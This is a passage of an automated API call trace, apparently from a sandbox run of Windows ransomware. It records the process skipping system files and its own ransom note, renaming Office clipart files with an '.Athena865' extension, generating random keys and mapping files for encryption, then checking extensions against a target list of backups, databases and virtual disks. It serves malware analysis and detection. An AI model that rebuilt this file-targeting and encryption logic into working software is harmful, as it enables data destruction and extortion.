(lpBaseAddress=0x100000) returned 1 [0135.744] CloseHandle (hObject=0x154) returned 1 [0135.744] CloseHandle (hObject=0x17c) returned 1 [0135.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.744] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab95900, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ab95900, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01746_.GIF", cAlternateFileName="")) returned 1 [0135.744] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.744] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.744] lstrcmpiW (lpString1="WB01746_.GIF", lpString2=".") returned 1 [0135.744] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="..") returned 1 [0135.744] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="windows") returned -1 [0135.744] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="bootmgr") returned 1 [0135.744] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="temp") returned 1 [0135.744] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="pagefile.sys") returned 1 [0135.745] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="boot") returned 1 [0135.745] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="ids.txt") returned 1 [0135.745] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="ntuser.dat") returned 1 [0135.745] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="perflogs") returned 1 [0135.745] lstrcmpiW (lpString1="WB01746_.GIF", lpString2="MSBuild") returned 1 [0135.745] lstrlenW (lpString="WB01746_.GIF") returned 12 [0135.745] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01746_.GIF" | out: lpString1="WB01746_.GIF") returned="WB01746_.GIF" [0135.745] lstrlenW (lpString="WB01746_.GIF") returned 12 [0135.745] lstrlenW (lpString="Athena865") returned 9 [0135.745] lstrcmpiW (lpString1="1746_.GIF", lpString2="Athena865") returned -1 [0135.745] lstrlenW (lpString=".dll") returned 4 [0135.745] lstrcmpiW (lpString1="WB01746_.GIF", lpString2=".dll") returned 1 [0135.745] lstrlenW (lpString=".lnk") returned 4 [0135.745] lstrcmpiW (lpString1="WB01746_.GIF", lpString2=".lnk") returned 1 [0135.745] lstrlenW (lpString=".ini") returned 4 [0135.745] lstrcmpiW (lpString1="WB01746_.GIF", lpString2=".ini") returned 1 [0135.745] lstrlenW (lpString=".sys") returned 4 [0135.745] lstrcmpiW (lpString1="WB01746_.GIF", lpString2=".sys") returned 1 [0135.745] lstrlenW (lpString="WB01746_.GIF") returned 12 [0135.745] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.Athena865") returned 73 [0135.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.athena865"), dwFlags=0x1) returned 1 [0135.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.747] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=738) returned 1 [0135.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.748] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.748] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.749] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.749] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.749] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f0, lpName=0x0) returned 0x154 [0135.750] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f0) returned 0x100000 [0135.751] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.752] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.752] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.753] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.753] CloseHandle (hObject=0x154) returned 1 [0135.753] CloseHandle (hObject=0x17c) returned 1 [0135.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.753] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c37800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34c37800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01747_.GIF", cAlternateFileName="")) returned 1 [0135.753] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.753] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.753] lstrcmpiW (lpString1="WB01747_.GIF", lpString2=".") returned 1 [0135.753] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="..") returned 1 [0135.753] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="windows") returned -1 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="bootmgr") returned 1 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="temp") returned 1 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="pagefile.sys") returned 1 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="boot") returned 1 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="ids.txt") returned 1 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="ntuser.dat") returned 1 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="perflogs") returned 1 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2="MSBuild") returned 1 [0135.754] lstrlenW (lpString="WB01747_.GIF") returned 12 [0135.754] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01747_.GIF" | out: lpString1="WB01747_.GIF") returned="WB01747_.GIF" [0135.754] lstrlenW (lpString="WB01747_.GIF") returned 12 [0135.754] lstrlenW (lpString="Athena865") returned 9 [0135.754] lstrcmpiW (lpString1="1747_.GIF", lpString2="Athena865") returned -1 [0135.754] lstrlenW (lpString=".dll") returned 4 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2=".dll") returned 1 [0135.754] lstrlenW (lpString=".lnk") returned 4 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2=".lnk") returned 1 [0135.754] lstrlenW (lpString=".ini") returned 4 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2=".ini") returned 1 [0135.754] lstrlenW (lpString=".sys") returned 4 [0135.754] lstrcmpiW (lpString1="WB01747_.GIF", lpString2=".sys") returned 1 [0135.754] lstrlenW (lpString="WB01747_.GIF") returned 12 [0135.754] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.Athena865") returned 73 [0135.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.athena865"), dwFlags=0x1) returned 1 [0135.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.756] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=903) returned 1 [0135.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.757] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.757] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.757] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.758] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x690, lpName=0x0) returned 0x154 [0135.761] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x690) returned 0x100000 [0135.762] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.762] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.762] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.763] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.763] CloseHandle (hObject=0x154) returned 1 [0135.763] CloseHandle (hObject=0x17c) returned 1 [0135.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.764] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d9c6a00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d9c6a00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01748_.GIF", cAlternateFileName="")) returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2=".") returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="..") returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="windows") returned -1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="bootmgr") returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="temp") returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="pagefile.sys") returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="boot") returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="ids.txt") returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="ntuser.dat") returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="perflogs") returned 1 [0135.764] lstrcmpiW (lpString1="WB01748_.GIF", lpString2="MSBuild") returned 1 [0135.764] lstrlenW (lpString="WB01748_.GIF") returned 12 [0135.764] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01748_.GIF" | out: lpString1="WB01748_.GIF") returned="WB01748_.GIF" [0135.764] lstrlenW (lpString="WB01748_.GIF") returned 12 [0135.764] lstrlenW (lpString="Athena865") returned 9 [0135.764] lstrcmpiW (lpString1="1748_.GIF", lpString2="Athena865") returned -1 [0135.765] lstrlenW (lpString=".dll") returned 4 [0135.765] lstrcmpiW (lpString1="WB01748_.GIF", lpString2=".dll") returned 1 [0135.765] lstrlenW (lpString=".lnk") returned 4 [0135.765] lstrcmpiW (lpString1="WB01748_.GIF", lpString2=".lnk") returned 1 [0135.765] lstrlenW (lpString=".ini") returned 4 [0135.765] lstrcmpiW (lpString1="WB01748_.GIF", lpString2=".ini") returned 1 [0135.765] lstrlenW (lpString=".sys") returned 4 [0135.765] lstrcmpiW (lpString1="WB01748_.GIF", lpString2=".sys") returned 1 [0135.765] lstrlenW (lpString="WB01748_.GIF") returned 12 [0135.765] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.Athena865") returned 73 [0135.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.athena865"), dwFlags=0x1) returned 1 [0135.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.767] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=727) returned 1 [0135.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.768] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.768] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.768] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.769] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5e0, lpName=0x0) returned 0x154 [0135.772] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5e0) returned 0x100000 [0135.773] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.773] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.773] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.774] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.774] CloseHandle (hObject=0x154) returned 1 [0135.774] CloseHandle (hObject=0x17c) returned 1 [0135.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.775] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d7b600, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28d7b600, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01749_.GIF", cAlternateFileName="")) returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2=".") returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="..") returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="windows") returned -1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="bootmgr") returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="temp") returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="pagefile.sys") returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="boot") returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="ids.txt") returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="ntuser.dat") returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="perflogs") returned 1 [0135.775] lstrcmpiW (lpString1="WB01749_.GIF", lpString2="MSBuild") returned 1 [0135.775] lstrlenW (lpString="WB01749_.GIF") returned 12 [0135.775] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01749_.GIF" | out: lpString1="WB01749_.GIF") returned="WB01749_.GIF" [0135.775] lstrlenW (lpString="WB01749_.GIF") returned 12 [0135.775] lstrlenW (lpString="Athena865") returned 9 [0135.775] lstrcmpiW (lpString1="1749_.GIF", lpString2="Athena865") returned -1 [0135.775] lstrlenW (lpString=".dll") returned 4 [0135.776] lstrcmpiW (lpString1="WB01749_.GIF", lpString2=".dll") returned 1 [0135.776] lstrlenW (lpString=".lnk") returned 4 [0135.776] lstrcmpiW (lpString1="WB01749_.GIF", lpString2=".lnk") returned 1 [0135.776] lstrlenW (lpString=".ini") returned 4 [0135.776] lstrcmpiW (lpString1="WB01749_.GIF", lpString2=".ini") returned 1 [0135.776] lstrlenW (lpString=".sys") returned 4 [0135.776] lstrcmpiW (lpString1="WB01749_.GIF", lpString2=".sys") returned 1 [0135.776] lstrlenW (lpString="WB01749_.GIF") returned 12 [0135.776] lstrlenW (lpString="bak") returned 3 [0135.776] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0135.776] lstrlenW (lpString="ba_") returned 3 [0135.776] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0135.776] lstrlenW (lpString="dbb") returned 3 [0135.776] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0135.776] lstrlenW (lpString="vmdk") returned 4 [0135.776] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0135.776] lstrlenW (lpString="rar") returned 3 [0135.776] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0135.776] lstrlenW (lpString="zip") returned 3 [0135.776] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0135.776] lstrlenW (lpString="tgz") returned 3 [0135.776] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0135.776] lstrlenW (lpString="vbox") returned 4 [0135.776] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0135.776] lstrlenW (lpString="vdi") returned 3 [0135.776] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0135.777] lstrlenW (lpString="vhd") returned 3 [0135.777] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0135.777] lstrlenW (lpString="vhdx") returned 4 [0135.777] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0135.777] lstrlenW (lpString="avhd") returned 4 [0135.777] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0135.777] lstrlenW (lpString="db") returned 2 [0135.777] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0135.777] lstrlenW (lpString="db2") returned 3 [0135.777] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0135.777] lstrlenW (lpString="db3") returned 3 [0135.777] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0135.777] lstrlenW (lpString="dbf") returned 3 [0135.777] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0135.777] lstrlenW (lpString="mdf") returned 3 [0135.777] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0135.777] lstrlenW (lpString="mdb") returned 3 [0135.777] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0135.777] lstrlenW (lpString="sql") returned 3 [0135.777] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0135.777] lstrlenW (lpString="sqlite") returned 6 [0135.777] lstrcmpiW (lpString1="9_.GIF", lpString2="sqlite") returned -1 [0135.777] lstrlenW (lpString="sqlite3") returned 7 [0135.777] lstrcmpiW (lpString1="49_.GIF", lpString2="sqlite3") returned -1 [0135.777] lstrlenW (lpString="sqlitedb") returned 8 [0135.777] lstrcmpiW (lpString1="749_.GIF", lpString2="sqlitedb") returned -1 [0135.777] lstrlenW (lpString="xml") returned 3 [0135.778] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0135.778] lstrlenW (lpString="$er") returned 3 [0135.778] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0135.778] lstrlenW (lpString="4dd") returned 3 [0135.778] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0135.778] lstrlenW (lpString="4dl") returned 3 [0135.778] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0135.778] lstrlenW (lpString="^^^") returned 3 [0135.778] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0135.778] lstrlenW (lpString="abs") returned 3 [0135.778] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0135.778] lstrlenW (lpString="abx") returned 3 [0135.778] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0135.778] lstrlenW (lpString="accdb") returned 5 [0135.778] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0135.778] lstrlenW (lpString="accdc") returned 5 [0135.778] lstrcmpiW 